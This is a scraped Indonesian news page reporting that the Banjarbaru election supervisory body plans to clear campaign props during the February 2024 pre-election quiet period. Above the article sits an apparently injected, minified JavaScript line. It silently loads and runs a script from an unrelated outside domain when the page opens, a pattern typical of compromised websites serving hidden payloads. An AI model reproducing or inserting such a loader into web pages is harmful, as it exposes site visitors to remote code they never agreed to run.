(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru menenertiban alat peraga kampanye (APK) pada masa tenang Pemilihan Umum (Pemilu) 11-13 Februari 2024.
Bawaslu Banjarbaru meminta semua partai politik (Parpol) dan Caleg bisa menertibkan APK pada masa tenang Pemilu 2024 demi menjaga momen pemungutan suara kondusif. Sebab, pada masa tenang sudah bukan masuk periode kampanye.
Ketua Bawaslu Banjarbaru, Nor Ikhsan mengatakan, masa kampanye hanya sampai 10 Februari 2024, sementara masa tenang Pemilu yaitu 11-13 Februari 2024.
Baca juga: Mengintip Persiapan Imlek 2575 Klenteng Soetji Nurani Banjarmasin
“Untuk pembersihan sekarang belum bisa karena masih masa kampanye sampai tanggal 10, nah di tanggal itu juga mungkin kami sudah mengeluarkan surat imbauan kepada Parpol, jadi tanggal 11 itu sudah bersih,” ujar Nor Ikhsan, Senin (5/2/2024).
Dia menjelaskan, masa tenang Pemilu seluruh peserta mulai dari parpol hingga caleg sudah tidak boleh menyampaikan kampanye, apalagi melakukan politik uang.
Bawaslu Banjarbaru mengupayakan penertiban APK dengan memberikan surat imbauan agar pada masa tenang tidak ada lagi APK yang terpasang sembarangan.
Baca juga: Pj Bupati Kapuas: Pilihan Boleh Berbeda, Kebersamaan Tetap Utama
“Karena ada surat imbauan kita mengharapkan kepada peserta Pemilu itu untuk bisa menertibkan sendiri, jadi tanggal 11 itu setelah kami apel siaga kami akan melakukan penyisiran setiap kecamatan dan Insya Allah bisa H-1 sudah bersih,” tegas dia.
Penertiban APK akan mengikutsertakan SKPD terkait seperti Badan Kesbangpol, Dishub, Satpol PP, TNI dan Polri. Kemudian ada Panwaslu Kecamatan dan Panwas Kelurahan Desa (PKD).
“Mereka akan kita jadwalkan rapat bersama Bawaslu terkait penertiban APK sebelum Pemilu yang mana pada tanggal 11 Januari diharuskan semua APK sudah bersih,” ucapnya.
Baca juga: Polisi Gagalkan Pesta Sabu di Kelayan B, Empat Lelaki Diringkus
Adapun usai melakukan penertiban APK, nantinya jika masih ditemukan APK sembarangan maka pihaknya akan melakukan pendekatan persuasif kepada Parpol dan Caleg agar bisa menertibkan.
“Terkait sanksi kami dari Bawaslu Banjarbaru ingin melakukan pendekatan persuasif itu yang kami utamakan, sesuai dengan arahan Bawaslu RI menjelang Pemilu ini kita usahakan selalu dalam kondisi aman damai,” tuntas dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
This website uses cookies.